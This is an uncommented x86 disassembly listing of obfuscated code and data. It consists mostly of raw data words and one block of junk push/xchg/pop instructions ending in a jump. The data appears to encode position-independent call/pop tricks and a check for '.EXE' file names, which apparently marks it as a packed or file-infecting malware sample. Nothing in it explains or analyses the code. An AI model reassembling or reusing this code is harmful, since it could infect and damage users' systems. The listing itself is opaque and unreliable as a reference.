dd 4EA62251h, 0C5FEC0h, 7E66BF13h, 8576305Dh, 2A3792h
dd 47980000h, 9F43AE2Bh, 87C964DFh, 4BAB943Eh, 35B40FB5h
dd 6A5ACB1Ch, 33F7156Dh, 8B9C1622h, 747DF16Bh, 0D20DEFBh
dd 92415A94h, 43AE2B47h, 0E107EDB8h, 0D4C15AA0h, 93279B1Dh
dd 0F6D618ABh, 866E6B04h, 0FC5BBCE2h, 19A3150Bh, 0A75D9900h
dd 0F8CB9C01h, 69A92AF2h, 3FB16A3Ch, 0A9C13B8Fh, 4B2EC430h
dd 0D30BC8FDh, 4AA93029h, 5E802EC6h, 0FAC30593h, 21841C26h
dd 8DA41633h, 5998011Ch, 56DA19D7h, 40CFFE9Eh, 4798895Fh
dd 0F2000000h, 0AD4956C8h, 0C2982E06h, 41DED40Ah, 0A8E41C36h
dd 3641D0FAh, 9E22C41Ch, 3595F12h, 0BA688C8Fh, 9269834h
dd 0A180408Ch, 3465CCAFh, 175FD8A0h, 757B530Eh, 1CBEAC81h
dd 0A000000h, 0A15F78F0h, 60E40F8Ah, 982EED94h, 0E2D40AC2h
dd 0D61C3641h, 6D02FCD0h, 15882B70h, 41A12BB9h, 5FD11C36h
dd 972DAF42h, 9EF5E511h, 51000001h, 6CF7B0AFh, 5960AF35h
dd 58DC17D9h, 842EF59Ch, 7FF406C6h, 0E115975Ah, 38943A42h
dd 364120AAh, 0C4DD501Ch, 0AEF4D8FEh, 1C364204h, 7716DE00h
dd 23AE2B47h, 0AD15EFE4h, 90B5D992h, 100BF522h, 8CD17185h
dd 0FB885102h, 43h, 0C6842ECCh, 5C7DF406h, 3CE31395h, 0CF15B915h
dd 1C3641E5h, 0A937BFE1h, 1C364123h, 17829F21h, 1FAF31DFh
dd 0DA19809Dh, 15FF9E56h, 0AD2847BEh, 15637026h, 996772EBh
dd 52D61D84h, 41B2A2h, 15130000h, 0F87570EBh, 608E12E1h
dd 0DFB30F91h, 29AD362Fh, 6347DA1Ah, 9F932DA1h, 6DED2AD4h
dd 0BF31B6C4h, 9D44B034h, 0A12BB915h, 951C3641h, 0A937E313h
dd 1C364123h, 1515BC54h, 0AD2847BEh, 47637026h, 3A23AE2Bh
dd 76EB1599h, 0FD9C956Bh, 0EF8272F6h, 0E4E8EBB9h, 5C419EFh
dd 4EC38850h, 4000000h, 0FCA2862Eh, 1C3641B6h, 0AC22CB2h
dd 8F627FF0h, 154AE90Dh, 41A12BB9h, 23951C36h, 94608E0Bh
dd 4210BAE8h, 0EC0E1C36h, 0E18F6770h, 0BE1514BFh, 24AF2A47h
dd 742A5E70h, 1C36414Eh, 14F7E948h, 952F95D6h, 0D13CE313h
dd 2Fh, 0C4862E02h, 941EC408h, 901C3641h, 1547E60Eh, 3641E5CFh
dd 3F921E1Ch, 2A47B915h, 416D578Dh, 47691C36h, 2EC64AA9h
dd 0AF2A478Fh, 47637024h, 0B745AC29h, 1C364210h, 42B12E40h
dd 0AD4451CEh, 7EC62BFDh, 954879CFh, 7DF18470h, 0E50B8D64h
dd 9D685CC9h, 6B61683h, 0C5CC8D6Dh, 0F1C62EF0h, 0AC294742h
dd 405DD345h, 0E2D243B1h, 1F7C1917h, 364AE93Dh, 67A9291Ch
dd 4895006h, 0FFFFFE52h, 0D7B20ABEh, 0E620FA3Ch, 0C9497371h
dd 9B3D1C35h, 0A52BB45Bh, 0B91C3641h, 1C364297h, 364122ABh
dd 41943A1Ch, 26A81C36h, 3A1C3641h, 0DC364194h, 8C4018ABh
dd 0EDE1FE72h, 36420DB7h, 0FE7095Ch, 0B3E5356Bh, 8F115501h
dd 0E6CCD764h, 1FBF237Ch, 6A314E7Fh, 6A0BE158h, 3C626A84h
dd 4BCBA2B9h, 3BA6B92Fh, 0E85531B5h, 0A948A9A3h, 297C1h
dd 71560400h, 20B9B42Ch, 6F6A057Bh, 25B2AA2Eh, 70690078h
dd 6F1B702Bh, 46BAE3F6h, 6DF3A82Dh, 43B5E6F3h, 47E9B22Fh
dd 0CC735987h, 366712FBh, 0AE2B4795h
dd 35EDB843h, 5AFF599h, 11C3642h, 0ABDC7B1h, 4BA5CA4Ch
dd 44E1FFABh, 0B8150BD6h, 0DC16536h, 0B11C66B5h, 0A63C80C3h
dd 12FBAF1Ch, 842E7418h, 8012FBAFh, 0CE64905Eh, 12FBAFE8h
dd 0F0DCB4FFh, 0D19CF5B2h, 0E5E9EF0Bh, 415A47DBh, 2D46A3BFh
dd 1DAB46A8h, 1C3542A3h, 9737EFBAh, 4B56C9F3h, 0FAA824A8h
dd 1C3542D0h, 3CD222C4h, 150B2FC7h, 0A9537B1Dh, 1EA02CB5h
dd 8C619502h, 990618A2h, 0AC1ED65Ah, 3FCC27B0h, 5C309C74h
dd 21D0CD62h, 68C9579Fh, 8C0BD19Dh, 495CE70Ah, 3F851B6Fh
dd 3B1C3542h, 42852FB5h, 5F811C35h, 16A73D91h, 1E150B2Fh
dd 0E9089188h, 93396767h, 8712FBAFh, 8B3F8F61h, 2C1AE933h
dd 0AC48B2EBh, 0FCA13E32h, 4EFE884h, 0FBF85274h, 965E6912h
dd 0D7F7F99Eh, 0F850CBB3h, 0B9855873h, 32B63DA4h, 0E8D210BCh
dd 0DC12FBA8h, 87A43ABAh, 6D0BD195h, 7927636Bh, 1C354D53h
dd 0CE55A147h, 0FB989628h, 855D68FBh, 5E889B49h, 46761502h
dd 0A5F444C5h, 28D61EBDh, 277E5E86h, 941FF2D6h, 137AAh
dd 11B6A400h, 4059D48Ch, 0F8AA55Bh, 4552CA8Eh, 1089A058h
dd 0FFB908Bh, 661A8316h, 0DD3C8CDh, 63158613h, 0E7C9D2CFh
dd 0CBD3F9A7h, 16C712FBh, 0C39B2EB5h, 2F58D50Bh, 0F6C6150Ch
dd 93DF74BCh, 36EC08DEh, 0E3B641B0h, 96FDA32Bh, 5C0BC8AAh
dd 22D2CF62h, 807A6A6Ch, 1DE9B0E9h, 0D6AC96h, 11430000h
dd 0FC71E7B4h, 2F40B8E5h, 0FF77E9B2h, 263FC1DAh, 5831EAB3h
dd 7D1EBBB2h, 287560FBh, 7C21BEB0h, 2E6F6804h, 268C527Ah
dd 2212FBCAh, 9B2E5271h, 0BBF0BC3h, 3641EFD5h, 5AFF51Ch
dd 11C3642h, 33C3E5DFh, 0C2E689Dh, 975A7C15h, 0B900925h
dd 31C0D955h, 933B13A6h, 674D9337h, 6D12FBD4h, 0FBD48D37h
dd 5D678912h, 8C25BB3Bh, 0A80BD1C1h, 4EE39506h, 99964A53h
dd 41D99FFCh, 0A4BD4358h, 79F06835h, 0AEC53B60h, 70EE722Bh
dd 0DD516B63h, 41B6FCA2h, 2CB21C36h, 715532C2h, 0BFB99011h
dd 698D630Ch, 3D5E7BF7h, 6835A0BBh, 0B814CCD7h, 0B338D2Ah
dd 0DDDFA715h, 1A9E5544h, 0FBAC02C8h, 0EF0F612h, 876A8411h
dd 1B801915h, 3EFh, 844F2000h, 41B01547h, 0AB4653CFh, 37BA2739h
dd 0C82BAEC5h, 35BCDD54h, 0C42FAAC3h, 34BFD850h, 0BF32AFC0h
dd 2AC9D04Dh, 1CCA685Dh, 0C890000h
db 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], esi
push esi
mov esi, esp
add esi, 4
sub esi, 4
xchg esi, [esp]
pop esp
mov [esp], edx
push 93A6D9Fh
mov esi, [esp]
add esp, 4
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
pop edx
sub esp, 4
mov [esp], esi
pop dword ptr [edx+8]
push dword ptr [esp]
pop edx
add esp, 4
mov esi, [esp]
push eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp]
pop esp
jmp loc_5464A4
; ---------------------------------------------------------------------------
dw 1DD7h
dd 3A00888Ah, 0F5CDDCBCh, 0B400C28Bh, 77FFB801h, 0C503093Ah
dd 8E8C38Bh, 40000000h, 215B6897h, 8A04C7B7h, 0B70F5FFEh
dd 84C781F3h, 66000064h, 0B8B9B8BEh, 18FDh, 0FFF6BF0Fh
dd 0BB665A37h, 0F281D87Eh, 26A00A7Bh, 81D98B66h, 37B77DEAh
dd 0ABC28109h, 8932223Bh, 38D0F17h, 80000000h, 0EF8371C3h
dd 10E901h, 0DFBC0000h, 9F8B50B8h, 0B7F46D58h, 0E36291A0h
dd 4F4FCD24h, 14E84Fh, 77D0000h, 0E2028057h, 6F336E05h
dd 156FFCC2h, 0D6806B0Fh, 0E3806A58h, 0F485B07h, 0FFFF9A85h
dd 9E9FFh, 4D330000h, 0C260C3A1h, 8DB52EB7h, 3A79E68Dh
dd 6E809h, 653F0000h, 5AE2E95Eh, 298D895Ah, 57093516h
dd 6714DCBAh, 85C75A0Bh, 935287Dh, 745Ch, 7E79E681h, 85C744DCh
dd 9352255h, 0
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0DAC35646h
dd 0EAD92CE4h, 0D6816660h, 0BDB73979h, 31B58961h, 0FF09350Dh
dd 3511F5B5h, 50006A09h, 3E8h, 0C3582000h, 24448958h, 24448104h
dd 1604h, 0C3504000h, 0FF137829h, 350D0595h, 53006A09h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1404h, 0C3534300h
dd 2820FE4h, 8B000000h, 0FF006AD9h, 35082995h, 0EBC08B09h
dd 0E898835Ch, 90EF3AA5h, 0E384ACC0h, 5681E2E6h, 0B440EA58h
dd 4F1ED8C1h, 0B6EDFB72h, 0F2F4C2B7h, 0D655C5D1h, 7C78EC9Bh
dd 4E821B2h, 3E89D9EDh, 0EDDDC639h, 0F2560B58h, 0CA50F18Bh
dd 34097184h, 0C392FBC9h, 485C930Bh, 8AFE62BAh, 0C2B1D42Bh
dd 874DF11Eh, 92921D5h, 0F1E5E19Ch, 136E96Ah, 0F8F90000h
dd 7AC4B58Dh, 0F60093Ah, 58Dh, 0F0816600h, 84B17113h, 2D858D61h
dd 6009384Ch, 820F60h, 0BA000000h, 6EF80E68h, 61E38A61h
dd 6E9h, 860A2800h, 0FF543040h, 6AC3F5D0h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 1B042444h, 41000000h, 0FF30C351h
dd 6E3956F0h, 0AE93ADFh, 1B000000h, 9B6B68C7h, 0A70DA023h
dd 8B576069h, 8B665BC6h, 8C6661CAh, 14E9D9h, 0FAF20000h
dd 18C913DCh, 0F902214Ch, 748BC744h, 0B43798Ah, 0C1F60E13h
dd 47840F04h, 0E9000000h, 0Ah, 0ECC6163Ch, 2F5534F5h, 0FB8B81BFh
dd 0C032CB8Bh, 2BFD75AEh, 2BD9F7CFh, 49D78BF9h, 0EBD98Bh
dd 13F20CDh, 0C00B0001h, 708D1874h, 8BFA8B0Ch, 0A75A6CBh
dd 0B8FA7549h, 1, 8B09EBh, 0B8E4EBh, 0CF000000h, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 6AC35646h, 0C820Fh
dd 7E90000h, 79000000h, 0D1BDB1Bh, 6A1880h, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 150424h, 51410000h, 0F5B09AC3h
dd 7B1085C7h, 13F093Ah, 13EC0001h, 4A1DE8EAh, 0AE6BA486h
dd 7125F073h, 35400467h, 70F9781Bh, 8557FECAh, 85308389h
dd 243F31F7h, 786746BCh, 884222C8h, 3CD52DD3h, 14F53ECBh
dd 3A3831CAh, 351C3141h, 3500D8CAh, 0F19331CAh, 1724B168h
dd 61A93B48h, 6BF50D48h, 35734423h, 0E7873ECAh, 3AA18C49h
dd 3A0E38FFh, 3507014Eh, 6A6AC4CAh, 5FC131C9h, 360867CAh
dd 157031CAh, 0BC66F294h, 0B41815BEh, 280A158Eh, 730731CAh
dd 3DAEF29Ch, 28979D00h, 3DB4239h, 42D0C074h, 99BDBCE3h
dd 5F150BB1h, 36E667CAh, 150731CAh, 0BCDDF294h, 0B4C515BEh
dd 20E4158Eh, 737031CAh, 6E3EF29Ch, 0B72A6473h, 11B161DFh
dd 0BC37C308h, 0C70815CEh, 4E4FB447h, 210938F0h, 0D87031CAh
dd 10D6F0B8h, 0B9D424B4h, 0DDB788D2h, 1D241206h, 0A59DFE96h
dd 5338BAAAh, 6581EF41h, 47F639Ah, 3AA86990h, 0A0E3C67Dh
dd 3C3B3A97h, 35072522h, 9B3389CAh, 85F4B385h, 152D58AFh
dd 6297BD8Fh, 551167AAh, 0FFAB3EE2h, 0BFCEBA95h, 94BAB206h
dd 358A04ECh, 884238BFh, 3CD501B3h, 656945CAh, 8DF8BA99h
dd 351C35B0h, 1FCFB443h, 0A88A38FFh, 3CB485F2h, 6D9AE235h
dd 5998C49h, 417038FFh, 8D6B61DDh, 351C35B0h, 1FCFB443h
dd 0A88A38FFh, 3CB480EDh, 6D9AE235h, 0DDB031A0h, 357031C9h
dd 6DFB69EAh, 31387543h, 312A754Bh, 350731DCh, 0E940618Ah
dd 0C039BF33h, 0BBEFF141h, 357031C6h, 353EBBC5h, 0BD1331CAh
dd 350E31CAh, 4E91AC47h, 6AD538F0h, 4F8FB447h, 240938F0h
dd 0A07031CAh, 0C81A2945h, 0DE388094h, 2AEEDC1Fh, 0A3CDFBBCh
dd 35E9E135h, 35C2D99Dh, 6AC031CAh, 49F96E09h, 71B935EEh
dd 350535EEh, 624931CAh, 1BB70909h, 3ACE4AD2h, 35C13448h
dd 80198BCAh, 45CA334Ah, 3E12FDD6h, 0BA983E0Ah, 550E31CAh
dd 3517BDC5h, 3E6A31CAh, 4C131CAh, 0C77209F9h, 5E30E45h
dd 0B5588D0Bh, 82135402h, 0B86F503Ch, 4B3357h, 0BA8C51C3h
dd 35C131CCh, 35E0BDC5h, 8A7F31CAh, 36805031h, 5F1C31CAh
dd 36E664CAh, 150731CAh, 0BCDEF297h, 0B4C515A6h, 23E4158Eh
dd 707031CAh, 53EDF29Fh, 0E69757C4h, 3564D235h, 3504D99Ch
dd 6BA331CAh, 41486F09h, 716135EEh, 356B35EEh, 637E31CAh
dd 940D4209h, 0FE04C615h, 3502D91Ch, 0BB8931CAh, 0BEF93F3Fh
dd 0A86D6F3Bh, 3C4A4A54h, 35383E22h, 29D9BFCAh, 0AB2BFF58h
dd 0ECD0E98Ah, 4015BE39h, 35D9B7C5h, 260931CAh, 0E97031CAh
dd 114E60EDh, 0C373763Ch, 1A4E9A62h, 9E4ADCFAh, 0B8DD373Dh
dd 0FBB7F4Fh, 0C930CEC3h, 0B17FF1C1h, 35383196h, 0DD4A31A0h
dd 350E31C9h, 6BC46FEAh, 31A74543h, 31E5754Bh, 35E031D0h
dd 30B3678Ch, 1EDECB96h, 38F5A74Ah, 7E0E31CAh, 963EE4E5h
dd 95123FE6h, 0D27DA2A1h, 79E2AC47h, 551038FFh, 0C3588EACh
dd 54E2BAABh, 350E3072h, 0DCE4CECAh, 358331C6h, 0C73941C9h
dd 0C56FCCE7h, 0F2C0568Ch, 4E9BAC47h, 357638F0h, 350DD99Ah
dd 6D2731CAh, 710A6909h, 714035EEh, 35F735EEh, 653031CAh
dd 9BA02809h, 0BF3A836Dh, 7B8BBC21h, 3A0E0BB0h, 3AE3E67Dh
dd 35C13742h, 5A28B0CAh, 0CD3CF2ECh, 5FE8CEABh, 36F463CAh
dd 150E31CAh, 0BC5DF290h, 0B487159Eh, 2DC5158Eh, 77E031CAh
dd 0FAD8F298h, 0DD71F340h, 351C31C2h, 0FABD952h, 99C7A125h
dd 36043E95h, 53C131CAh, 0F5EBFA41h, 3564B5C5h, 0B8CD31CAh
dd 503357h, 350D89C3h, 0CAFB31CAh, 2A778829h, 65827060h
dd 356C3EAAh, 3A7031CAh, 6F59E275h, 4E908C47h, 0B88338F0h
dd 3C3D4EB4h, 7EDF4C72h, 44440240h, 1EE904E4h, 0A86DF005h
dd 3C4A4A54h, 35383E22h, 29D9BFCAh, 0AB2BFF58h, 0ECD0E98Ah
dd 4015BE39h, 0F305E983h, 66C08BA4h, 5343ECBEh, 0C38B5FF9h
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 85C35040h
dd 0D89F0BDFh, 0B70B371Ch, 0CE8h, 3B00300h, 626023DBh
dd 0C065E11Ch, 0E9DD80EBh, 6AC08B5Fh, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 2022C356h
dd 0B1BEB580h, 8303F678h, 3526A1BDh, 9750009h, 3079BD83h
dd 74000935h, 8B535019h, 47AB8C0h, 85890000h, 9352CA9h
dd 0B49F9D8Dh, 0D3FF0937h, 0BD83585Bh, 9353079h, 50177400h
dd 47AB853h, 85890000h, 9352CA9h, 0B1409D8Dh, 0D3FF0937h
dd 8156585Bh, 0D7FD2BD6h, 6A5A54h, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 150424h, 57470000h, 56B57CC3h, 158E0Fh, 10E90000h
dd 95000000h, 0DF42C614h, 0F6049BEEh, 0D509E067h, 5A51F573h
dd 3CE9C08Bh, 1, 4Eh dup(0)
dd 83000000h, 350695BDh, 840F0109h, 570h, 0DE9h, 0C43DAD00h
dd 0DA48FCF5h, 0E6126DF6h, 5060DC73h, 665BD38Bh, 0C661F38Bh
dd 35179D85h, 7E94309h, 53000000h, 6C210EFCh, 8E0FD20Ch
dd 10h, 0BE9h, 191D100h, 8B2E75D9h, 0D8F9EEADh, 0A15F8168h
dd 0F5250F4h, 689h, 0F525000h, 0F585A31h, 0BF666031h, 5E5602F0h
dd 81585A61h, 8F742434h, 0E8601804h, 14h, 6ABEDBD0h, 2B70CCA7h
dd 14E77DAh, 0F745EDF8h, 2994AC70h, 1820F5Fh, 0F9000000h
dd 7DB5FF61h, 60093516h, 0C2BA6657h, 66565A9Eh, 5F165ABBh
dd 70858D61h, 0F09387Bh, 1E8Eh, 188E0F00h, 0E9000000h
dd 13h, 5EACB2E9h, 12140152h, 28957727h, 86A82B8Eh, 0FFD001F6h
dd 5E9D0h, 45A80000h, 89553DC4h, 350EC185h, 55006A09h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h, 0C3554500h
dd 9D85C6BFh, 50093517h, 0B800Fh, 6E90000h, 20000000h
dd 1CB91509h, 381A6846h, 850F7596h, 0Fh, 0AE9h, 88801D00h
dd 0E0C55A16h, 81688E87h, 753C2404h, 0FFF83317h, 35167DB5h
dd 57006A09h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1404h
dd 0C3574700h, 8166607Fh, 8079FAD0h, 8D6113C0h, 387B7085h
dd 7E909h, 0F0DB0000h, 39B10DB2h, 0E9D0FF07h, 10h, 0CDF2D875h
dd 1C30983Bh, 5136DC2Fh, 580C3217h, 16158589h, 820F0935h
dd 12h, 0DE9h, 0FB0D2C00h, 41CB3B16h, 6E5D3874h, 2F68F9FBh
dd 50CB6ECDh, 61606052h, 0F61C18Bh, 8D0F6031h, 0
aAazxb4 db '`aaZX│4$',0
db 65h, 0E1h, 3Bh
dd 8B66F860h, 13E961CBh, 97000000h, 81103F16h, 0B9E6F874h
dd 87FB7C8Fh, 3E622A3h, 0B5FFB8F1h, 935167Dh, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 9AC35646h, 2AE11BAFh
dd 0F18B6660h, 61C6BF0Fh, 70858DFCh, 6A09387Bh, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h
dd 0F8F3C355h, 0FDA9E1Fh, 0C8Bh, 7E900h, 2A430000h, 0C2D9D453h
dd 16860FB6h, 0E9000000h, 11h, 360164BFh, 260EBB6Ch, 0F81297AAh
dd 65139864h, 0FD0FFEAh, 0D80h, 8E900h, 3AB40000h, 767DFCF8h
dd 8589A598h, 93505D9h, 0DE9h, 0AF701000h, 0F2A8D791h
dd 1EBCDC7Dh, 0C6F53D8Bh, 35179D85h, 820F5009h, 0Eh, 8F68160h
dd 0F280DF3h, 8Fh, 4E86100h, 56000000h, 60979CDCh, 4780FEBFh
dd 0CE8B662Bh, 13E95061h, 31000000h, 5DD2B47Bh, 211A2B30h
dd 2758540h, 79E74E05h, 448B1DC6h, 52500424h, 0DBE6660h
dd 8E8DCh, 1F210000h, 39654041h, 615F3413h, 10E9310Fh
dd 54000000h, 2BB12FE7h, 9C8D9C55h, 0BB7F7805h, 5A9CCC93h
dd 60008B58h, 8B661BB3h, 448961C8h, 810F0424h, 1Ch, 0BE95250h
dd 37000000h, 89FED335h, 991FE9E5h, 310FB0D2h, 310F5250h
dd 585A585Ah, 56006A58h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1B04h, 0C3564600h, 311A5BABh, 547F0BFFh, 0D8C0Fh, 66600000h
dd 0D487F181h, 8E0Fh, 0FF610000h, 350EC9B5h, 81666009h
dd 0B809EDF2h, 5C036033h, 98858D61h, 0F093538h, 0C8Eh
dd 0B8666000h, 880FB9D8h, 0
dd 6AD0FF61h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 17042444h, 45000000h, 56B9C355h, 7E9CB80h, 73000000h
dd 656B5238h, 8589F8F2h, 9350061h, 0CE9h, 0D897B000h, 0C5BFD3A4h
dd 0D10A6573h, 186E9CDh, 0AE90000h, 0AC000000h, 0AB6F729Bh
dd 51AB9749h, 566095B2h, 0E950615Bh, 8, 0FD46D676h, 0ED62431Ah
dd 56006A95h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h
dd 0C3564600h, 43AE5C79h, 0B12AE9D6h, 0EC8B3F58h, 28D3B860h
dd 83615CB0h, 6AFCC4h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 1B0424h, 52420000h, 0B595A2C3h, 533B3EFBh, 5E96057h
dd 29000000h, 1B891C8Ah, 4A2C0BB9h, 0E9606108h, 14h, 0D107B5Dh
dd 3CDD0F97h, 904D70DEh, 7D4D371Eh, 2DA7C15Dh, 0E8h, 0EA815A00h
dd 93A8673h, 0FC45C7h, 83000000h, 350695BAh, 840F0109h
dd 98h, 6A006A52h, 0C192FF0Fh, 5A09350Eh, 80998289h, 9A8D093Ah
dd 93A809Dh, 2803C752h, 53000001h, 1592FF50h, 5A093516h
dd 9D9A8D52h, 53093A80h, 8099B2FFh, 92FF093Ah, 9350061h
dd 74C00B5Ah, 9D9A8D50h, 8D093A80h, 0C933247Bh, 104F981h
dd 0D4740000h, 393C8141h, 4558452Eh, 348DEE75h, 0C752B39h
dd 13F5BA8Dh, 4D8B0935h, 32A4F30Ch, 0FF52AAC0h, 828D0875h
dd 93513F5h, 0D992FF50h, 5A093505h, 0A075C00Bh, 1FC45C7h
dd 0EB000000h, 0FC45C707h, 0
dd 0FC458B61h, 8C2C9h, 0B8B0Fh, 6E90000h, 48000000h, 7DE47179h
dd 38BB602Eh, 0E94BF94Eh, 7, 48BF2087h, 611EE687h, 66E9D28Bh
dd 60000002h, 0F6D98C66h, 840F04C1h, 35h, 0B5FF016Ah, 9350EC9h
dd 7B70858Dh, 0D0FF0938h, 26958589h, 0FE8B0935h, 680CEFC1h
dd 20060000h, 26A006Ah, 0D6857h, 95FF0001h, 9352695h, 32E9h
dd 9D85C600h, 56093517h, 0C530DF68h, 7DB5FFA9h, 8D093516h
dd 387B7085h, 89D0FF09h, 3526CD85h, 0D5858D09h, 50093531h
dd 56A406Ah, 0CD95FF56h, 61093526h, 0C3h, 2 dup(0)
dd 0D48B5200h, 8428B60h, 87D78589h, 428B093Ah, 0CF85890Ch
dd 8B093A87h, 85891042h, 93A87D3h, 880DB58Dh, 858D093Ah
dd 5B7E35h, 5A61D0FFh, 8B000CC2h, 3A87D7B5h, 0CF858B09h
dd 83093A87h, 3A87D3BDh, 840F0009h, 7, 2E90689h, 88000000h
dd 0CF06h, 0
dd 8B520000h, 428B60D4h, 0D7858908h, 8D093A87h, 3A885EB5h
dd 35858D09h, 0FF005B7Eh, 8B5A61D0h, 3A87D785h, 4C209h
dd 87D7858Bh, 8B093Ah, 87D78589h, 0CF093Ah, 60000000h
dd 8834B589h, 8589093Ah, 93A8830h, 29E9858Dh, 408B0935h
dd 6D858944h, 8D093A88h, 3A88A3B5h, 35858D09h, 0FF005B7Eh
dd 858B61D0h, 93A8834h, 309D8BC3h, 0F093A88h, 33C43B7h
dd 785B8BD8h, 88309D03h, 738B093Ah, 30B50324h, 56093A88h
dd 8B207B8Bh, 0BD031C73h, 93A8830h, 8830B503h, 83FC093Ah
dd 8B41FFC9h, 3A88349Dh, 3178B09h, 3A883095h, 4C78309h
dd 0C084028Ah, 0F840Fh, 33A0000h, 0FFDC850Fh, 4243FFFFh
dd 0FFFFE7E9h, 0F033AFFh, 0FFFFCD85h, 0E1D15FFFh, 0F04B70Fh
dd 386048Bh, 3A883085h, 34858909h, 8B093A88h, 8BCE8BF0h
dd 6DBD81C1h, 93A88h, 0FC03000h, 0D85h, 14E8C100h, 0FFC25h
dd 8E900h, 0E8C10000h, 3FF82512h, 0BD8B0000h, 93A886Dh
dd 6070C83h, 8B07148Bh, 3C8124C2h, 0FC18B81h, 5784h, 6DBD8100h
dd 93A88h, 0FC03000h, 0D85h, 0AE8C100h, 3FFFFC25h, 8E900h
dd 0E8C10000h, 0FFF82509h, 2D007Fh, 83400000h, 0F70608h
dd 80h, 1E840Fh, 0BD810000h, 93A886Dh, 0C0300000h, 0E840Fh
dd 0F8250000h, 8B00003Fh, 60000080h, 60883C0h, 0DB858DCFh
dd 89093A87h, 350EDD85h, 71858D09h, 89093A88h, 35261985h
dd 38858D09h, 89093A88h, 351DC585h, 5E809h, 9A3F0000h
dd 0E955CD3Ch, 0Eh, 5F2C6250h, 87073DAh, 2D7C89D7h, 0BE5A8657h
dd 62BBD23Fh, 6058C281h, 0EF680000h, 60000017h, 0F51DBA66h
dd 0F88B6660h, 0E95F6161h, 5, 0D262860Ch, 0B1028BABh, 20E8819Dh
dd 0F485A90h, 0C081DABFh, 2BAFAC35h, 1DA6BE66h, 0EE56E881h
dd 0F38B1165h, 0DE8A0289h, 9E83EA81h, 0B70F2438h, 7FC281CBh
dd 8B24389Eh, 850F4FCBh, 0Dh, 1FE9EA8Ah, 63000000h, 4CD21D2Fh
dd 6CCD8063h, 0FFFFB0E9h, 3B691FFh, 0FFA06581h, 3A2D71E0h
dd 7907EF27h, 8D8DC1A6h, 93A8B35h, 6840Fh, 9D2B0000h, 9351B25h
dd 16298D89h, 890F0935h, 6, 2325BD89h, 0B58B0935h, 9352EF5h
dd 287D85C7h, 6B040935h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 170424h, 55450000h, 0CAFA38C3h, 5585C726h
dd 93522h, 8B000000h, 352911B5h, 0F5B5FF09h, 6A093511h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 17042444h
dd 46000000h, 0D55EC356h, 9D090EE2h, 9352895h, 0D0595FFh
dd 820F0935h, 0Ch, 6860Fh, 880F0000h, 0
dd 95FF006Ah, 9350829h, 5CEBC08Bh, 1363D5B9h, 0EA76FF86h
dd 29768C7Eh, 0C50BBD40h, 8BD7BA37h, 5A04FFE4h, 0DA047F3Bh
dd 0D6F77B6Ah, 14ACF015h, 0C21AF25Fh, 6BDCB239h, 0D3C5DF3Fh
dd 0EA5EF4CEh, 62DB9416h, 0C9E21ED5h, 89AD7C09h, 0DB2E454Ah
dd 4D5C062Ch, 7A38CB44h, 0B3F0C21Bh, 827D309Fh, 0D1BAE18Bh
dd 0C44CCD5Dh, 13E8h, 67CA4500h, 62EC2544h, 4756C630h
dd 2C013A8Fh, 23B06384h, 21EA8166h, 8D315B13h, 93524B5h
dd 67B9C381h, 8B600000h, 35025985h, 0B7686109h, 0BA000019h
dd 71BD7BDBh, 8BD08B58h, 9EBE603Bh, 6001B0CDh, 8BDF8B66h
dd 816161F0h, 45BC09F7h, 79B58935h, 81093524h, 38A511F7h
dd 45B96611h, 0FFC78142h, 8B675933h, 350E7995h, 810F5709h
dd 2, 38FCE8Bh, 324D8D23h, 0EB810935h, 660AC37Bh, 13E9h
dd 0E8273D00h, 16D7F9Ah, 621E559Dh, 0C026D4BAh, 196ECBE2h
dd 0C377C381h, 8E0F660Ah, 6, 0C3DB50Bh, 0F480935h, 1285h
dd 2D8D8900h, 0E9093527h, 22h, 4B53415h, 0E9A79858h, 0Ch
dd 56DE6A8Fh, 543FBA4Fh, 33CB7D5Bh, 0FFFF5EE9h, 39BC6DFFh
dd 8D8D85E4h, 93A8D50h, 6E9h, 18B8D700h, 89797CD5h, 3516298Dh
dd 5E809h, 888D0000h, 0F646A7Dh, 28Bh, 5FF98B00h, 287D85C7h
dd 6CE00935h, 0BD2B0000h, 9351C4Dh, 6840Fh, 0BD8B0000h
dd 93510DDh, 225585C7h, 935h, 6A0000h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 150424h, 53430000h, 0BABA60C3h
dd 6107A9D3h, 1239B5FFh, 6A0935h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 1D0424h, 56460000h, 2D71BC3h, 0FD53499Fh
dd 8B62C745h, 595FFC1h, 6A09350Dh, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 1A042444h, 47000000h, 0D888C357h
dd 0B8DE740Fh, 3D8523C9h, 6A093522h, 2995FF00h, 8B093508h
dd 0B259EBC0h, 87D7C663h, 0C788571Fh, 4D7FBA8Fh, 0BC945135h
dd 0BD5B9496h, 23400F64h, 9643EEF7h, 0C678281h, 0BD4FEF7Fh
dd 0EE6784F0h, 0B0889AF3h, 0D7CC9CDEh, 0ECEC6F7Dh, 0AF7D97FBh
dd 80E25FC4h, 94BDCBE7h, 0C86CFD38h, 0CA8D2A7Dh, 718B72BFh
dd 3FF26266h, 38A766DCh, 3B931896h, 1C8E9h, 8 dup(41888800h)
